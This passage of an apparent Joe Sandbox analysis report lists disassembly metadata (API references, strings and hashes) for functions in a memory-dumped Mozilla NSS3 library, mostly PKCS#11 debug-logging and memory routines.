Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 3ec1ec367f2a0680e07df85773d985fd9916648fa623973e867bb06b71c27c81
Instruction ID: 0d67f8f99e52852e058e45586a078e74b9a6449a10bb9e557768e590dd80fe9d
Opcode Fuzzy Hash: 3ec1ec367f2a0680e07df85773d985fd9916648fa623973e867bb06b71c27c81
Instruction Fuzzy Hash: 3741D475602094BFDB009F98DC58E8E7BB1EB4671DF048064E808D7A11EB31EC4ACB92

Function 6CBA8820 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6CBA8846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBA8874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA8883

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBA8899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CBA88BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CBA88D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CBA88EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CBA8907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CBA8979

Strings

(CK_INVALID_HANDLE), xrefs: 6CBA887C
ulEncryptedPartLen = %d, xrefs: 6CBA88CE
hSession = 0x%x, xrefs: 6CBA885E, 6CBA886E
*pulPartLen = 0x%x, xrefs: 6CBA8974
pPart = 0x%p, xrefs: 6CBA88E7
pulPartLen = 0x%p, xrefs: 6CBA8902
pEncryptedPart = 0x%p, xrefs: 6CBA88B5
C_DecryptVerifyUpdate, xrefs: 6CBA8841

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate
API String ID: 1003633598-2764998763
Opcode ID: d59752d05208afdfb8d767ad7cc054a2e7886f37e5adb89f680e85ff253dec8a
Instruction ID: 5053b37fb62f6b67f88c19c79370a0d44f0564d27153f0e582c2c50a228b24fe
Opcode Fuzzy Hash: d59752d05208afdfb8d767ad7cc054a2e7886f37e5adb89f680e85ff253dec8a
Instruction Fuzzy Hash: E241D835602095BFDB00CF94DD58E8EBBB1EB4631EF048065E84897A11EB31AD59CB92

Function 6CBA6960 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptUpdate), ref: 6CBA6986
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBA69B4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA69C3

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBA69D9
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CBA69FA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CBA6A13
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CBA6A2C
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CBA6A47
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CBA6AB9

Strings

(CK_INVALID_HANDLE), xrefs: 6CBA69BC
ulEncryptedPartLen = %d, xrefs: 6CBA6A0E
hSession = 0x%x, xrefs: 6CBA699E, 6CBA69AE
*pulPartLen = 0x%x, xrefs: 6CBA6AB4
pPart = 0x%p, xrefs: 6CBA6A27
pulPartLen = 0x%p, xrefs: 6CBA6A42
C_DecryptUpdate, xrefs: 6CBA6981
pEncryptedPart = 0x%p, xrefs: 6CBA69F5

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptUpdate
API String ID: 1003633598-2105479268
Opcode ID: 41791b9be26453278ad9b7fbc82468955aa9e993a37c325add06055bb7dce2f2
Instruction ID: 2bc245c573307015f52823c8d05cbd680eca3b5c615739fe91976e61bde871d0
Opcode Fuzzy Hash: 41791b9be26453278ad9b7fbc82468955aa9e993a37c325add06055bb7dce2f2
Instruction Fuzzy Hash: 0B41C375602194FBDB00CF98DD58B8E7BB1EB4631DF088064E908D7611EB30EC4ACB92

Function 6CB74AF0 Relevance: 27.4, APIs: 18, Instructions: 355memorystringthreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,?,6CBB1444,?,?,00000000,?,?), ref: 6CB74BD4

Part of subcall function 6CBB0C90: PR_SetError.NSS3(00000000,00000000,6CBB1444,?,00000001,?,00000000,00000000,?,?,6CBB1444,?,?,00000000,?,?), ref: 6CBB0CB3

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CBB1444), ref: 6CB74B87
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB74BA5

Part of subcall function 6CBC88E0: TlsGetValue.KERNEL32(00000000,?,?,6CBD08AA,?), ref: 6CBC88F6
Part of subcall function 6CBC88E0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBD08AA,?), ref: 6CBC890B
Part of subcall function 6CBC88E0: PR_NotifyCondVar.NSS3(?,?,?,?,?,6CBD08AA,?), ref: 6CBC8936
Part of subcall function 6CBC88E0: PR_Unlock.NSS3(?,?,?,?,?,6CBD08AA,?), ref: 6CBC8940

PR_SetError.NSS3(FFFFE02A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB74DF5
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 6CB74B94

Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD10F3
Part of subcall function 6CBD10C0: EnterCriticalSection.KERNEL32(?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD110C
Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1141
Part of subcall function 6CBD10C0: PR_Unlock.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1182
Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD119C

free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CBB1444,?), ref: 6CB74BC2
PR_GetCurrentThread.NSS3(?,?,?,?,?,00000000,00000000), ref: 6CB74BEF
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CBB1444), ref: 6CB74C27
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CBB1444), ref: 6CB74C42
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB74D5A
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CB74D67
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB74D78
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB74DE4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB74E4C
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB74E5B
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB74E6C

Part of subcall function 6CB74880: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB748A2

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB74EF1
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB74F02

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Error$Arena$Alloc_Item_Valuememcpystrlen$CriticalEnterSectionUnlockZfree$AllocateArena_CompareCondCurrentFreeNotifyThreadfree
String ID:
API String ID: 24311736-0
Opcode ID: 596775b5257cfcc6f8b6f0d38ac4fa5afad9cbac54c9aa58d910b15e7fe11768
Instruction ID: 96e03a2da6a05713358b988cb9169c5a53732b84484e2ee67b4d13b9324d44ad
Opcode Fuzzy Hash: 596775b5257cfcc6f8b6f0d38ac4fa5afad9cbac54c9aa58d910b15e7fe11768
Instruction Fuzzy Hash: 03C14AB5E012559BEB10CF68D980B9F77B8EF09319F154029EC29A7741E771E9088FB2

Function 6CC028C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CC05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC05B56

TlsGetValue.KERNEL32 ref: 6CC0290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CC0291E
TlsGetValue.KERNEL32 ref: 6CC02937
EnterCriticalSection.KERNEL32(00000001), ref: 6CC0294B
PR_EnterMonitor.NSS3(?), ref: 6CC02966
PR_EnterMonitor.NSS3(?), ref: 6CC029AC
PR_ExitMonitor.NSS3(?), ref: 6CC029D1
PR_EnterMonitor.NSS3(?), ref: 6CC029F0
PR_EnterMonitor.NSS3(?), ref: 6CC02A15
PR_EnterMonitor.NSS3(?), ref: 6CC02A37
PR_ExitMonitor.NSS3(?), ref: 6CC02A61
PR_ExitMonitor.NSS3(?), ref: 6CC02A78
PR_ExitMonitor.NSS3(?), ref: 6CC02A8F
PR_ExitMonitor.NSS3(?), ref: 6CC02AA6

Part of subcall function 6CC39440: TlsGetValue.KERNEL32 ref: 6CC3945B
Part of subcall function 6CC39440: TlsGetValue.KERNEL32 ref: 6CC39479
Part of subcall function 6CC39440: EnterCriticalSection.KERNEL32 ref: 6CC39495
Part of subcall function 6CC39440: TlsGetValue.KERNEL32 ref: 6CC394E4
Part of subcall function 6CC39440: TlsGetValue.KERNEL32 ref: 6CC39532
Part of subcall function 6CC39440: LeaveCriticalSection.KERNEL32 ref: 6CC3955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CC02AF9
free.MOZGLUE(?), ref: 6CC02B16
PR_Unlock.NSS3(?), ref: 6CC02B6D
PR_Unlock.NSS3(?), ref: 6CC02B80

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 21f3061138856bb026c3dce30c8af9a7a5e357e41eb421b77829684372b49792
Instruction ID: 7a762297e3623592bd769eab315f83eff1b7efb3631b9923026b1d1ddb5ccaaf
Opcode Fuzzy Hash: 21f3061138856bb026c3dce30c8af9a7a5e357e41eb421b77829684372b49792
Instruction Fuzzy Hash: CE81C3B1A00B005BEB209F35EC59B97B7F5AF15308F044928E85AC7B11FB36E519CB92

Function 6CBC8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CBC8E01,00000000,6CBC9060,6CCD0B64), ref: 6CBC8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CBC8E01,00000000,6CBC9060,6CCD0B64), ref: 6CBC8E9E
PORT_ArenaAlloc_Util.NSS3(6CCD0B64,00000001,?,?,?,?,6CBC8E01,00000000,6CBC9060,6CCD0B64), ref: 6CBC8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CBC8E01,00000000,6CBC9060,6CCD0B64), ref: 6CBC8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CBC8E01,00000000,6CBC9060,6CCD0B64), ref: 6CBC8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CBC8E01,00000000,6CBC9060,6CCD0B64), ref: 6CBC8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CBC8E01), ref: 6CBC8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CCD0B64,6CCD0B64), ref: 6CBC8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CBC8F3F

Part of subcall function 6CBCA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CBCA421,00000000,00000000,6CBC9826), ref: 6CBCA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBC904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CBC8E76

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 7483453d93157abc1757e9f5e4b8389f76bbea75c3a00af80ad63e830eb2ca49
Instruction ID: 9836ec98b58a28d50c539ea829aecd9608f22fdfe9ec51c88a89f9628d5cf2bd
Opcode Fuzzy Hash: 7483453d93157abc1757e9f5e4b8389f76bbea75c3a00af80ad63e830eb2ca49
Instruction Fuzzy Hash: B5617DB5E01146ABDF10CF55CC80AABBBB9FF84358F144529DC18A7740E732A915CAA2

Function 6CB78E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB78E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CB78E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB78EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CCA18D0,?), ref: 6CB78F03
PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0), ref: 6CB78F19
PL_FreeArenaPool.NSS3(?), ref: 6CB78F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB78F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB78F65
PL_FinishArenaPool.NSS3(?), ref: 6CB78FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CB78FFE
PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0), ref: 6CB79012
PL_FreeArenaPool.NSS3(?), ref: 6CB79024
PL_FinishArenaPool.NSS3(?), ref: 6CB7902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CB7903E

Strings

security, xrefs: 6CB78EE7

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: cb94821b67ab28d707957027231867f88b9df833bbca971f73254d21df9efc2e
Instruction ID: c590ac083d98bd2742c022b2bb564a71f5f9aaad7eebbad5d4af3a4b36fa6a21
Opcode Fuzzy Hash: cb94821b67ab28d707957027231867f88b9df833bbca971f73254d21df9efc2e
Instruction Fuzzy Hash: 37514C71508280ABD7205A58DC45FAF77A8EB8575CF45082EFC65ABB40E732E909C773

Function 6CBA4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CBA4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBA4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA4EC7

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBA4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CBA4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CBA4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CBA4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CBA4F68

Strings

(CK_INVALID_HANDLE), xrefs: 6CBA4EC0, 6CBA4F13
hObject = 0x%x, xrefs: 6CBA4EF5, 6CBA4F05
hSession = 0x%x, xrefs: 6CBA4EA2, 6CBA4EB2
C_GetAttributeValue, xrefs: 6CBA4E7E
pTemplate = 0x%p, xrefs: 6CBA4F4A
ulCount = %d, xrefs: 6CBA4F63

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 51f6973e19ec92696b16d47488aa90d526e16294f516addd8d7d7984ca012cf6
Instruction ID: ea9b9cd5429e9207c3155263efaf0119cbeda2af769c2583cbf97eee97cfa4f2
Opcode Fuzzy Hash: 51f6973e19ec92696b16d47488aa90d526e16294f516addd8d7d7984ca012cf6
Instruction Fuzzy Hash: 0D41E534606194BBDB008F94DD58F9FBBB5EB4630EF049025E90897A11EB31AD4ACF91

Function 6CBA4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CBA4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBA4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA4D37

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBA4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CBA4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CBA4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CBA4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CBA4E20

Strings

pulSize = 0x%p, xrefs: 6CBA4DB7
(CK_INVALID_HANDLE), xrefs: 6CBA4D30, 6CBA4D83
hObject = 0x%x, xrefs: 6CBA4D65, 6CBA4D75
hSession = 0x%x, xrefs: 6CBA4D12, 6CBA4D22
C_GetObjectSize, xrefs: 6CBA4CEE
*pulSize = 0x%x, xrefs: 6CBA4E1B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 2aad9d107bf6bb33e6feb08b0ade8fb58b8c7baf9fbfd002426e2a8f89d4310a
Instruction ID: 32a9b876d679cadc709f5d44f0925f353f4b59b8567751ddaab839bd64997e96
Opcode Fuzzy Hash: 2aad9d107bf6bb33e6feb08b0ade8fb58b8c7baf9fbfd002426e2a8f89d4310a
Instruction Fuzzy Hash: 91410771605194BFDB008F94DD98FAA7B75EB4630EF048465E848ABA11EF30AC4ACF52

Function 6CBA2F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CBA2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBA2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA2F63

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBA2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CBA2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CBA2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CBA2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CBA2FE7

Strings

(CK_INVALID_HANDLE), xrefs: 6CBA2F5C
C_SetPIN, xrefs: 6CBA2F21
ulNewLen = %d, xrefs: 6CBA2FE2
ulOldLen = %d, xrefs: 6CBA2FB0
hSession = 0x%x, xrefs: 6CBA2F3E, 6CBA2F4E
pNewPin = 0x%p, xrefs: 6CBA2FC9
pOldPin = 0x%p, xrefs: 6CBA2F95

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: e2f629f556227d7eb38217daff4344c30b8c758aaa3ad04d438fee4dcbbb2589
Instruction ID: efc5d7ed3abdfc9da8e8d5cb8e19edcc49c5b26b338c7a5ecf017adc6d72201c
Opcode Fuzzy Hash: e2f629f556227d7eb38217daff4344c30b8c758aaa3ad04d438fee4dcbbb2589
Instruction Fuzzy Hash: 2131C735606195AFDF009F95DD5CE8E7B71EB4A31EF048054E80897611EB31AC4ACB92

Function 6CBAA9A0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

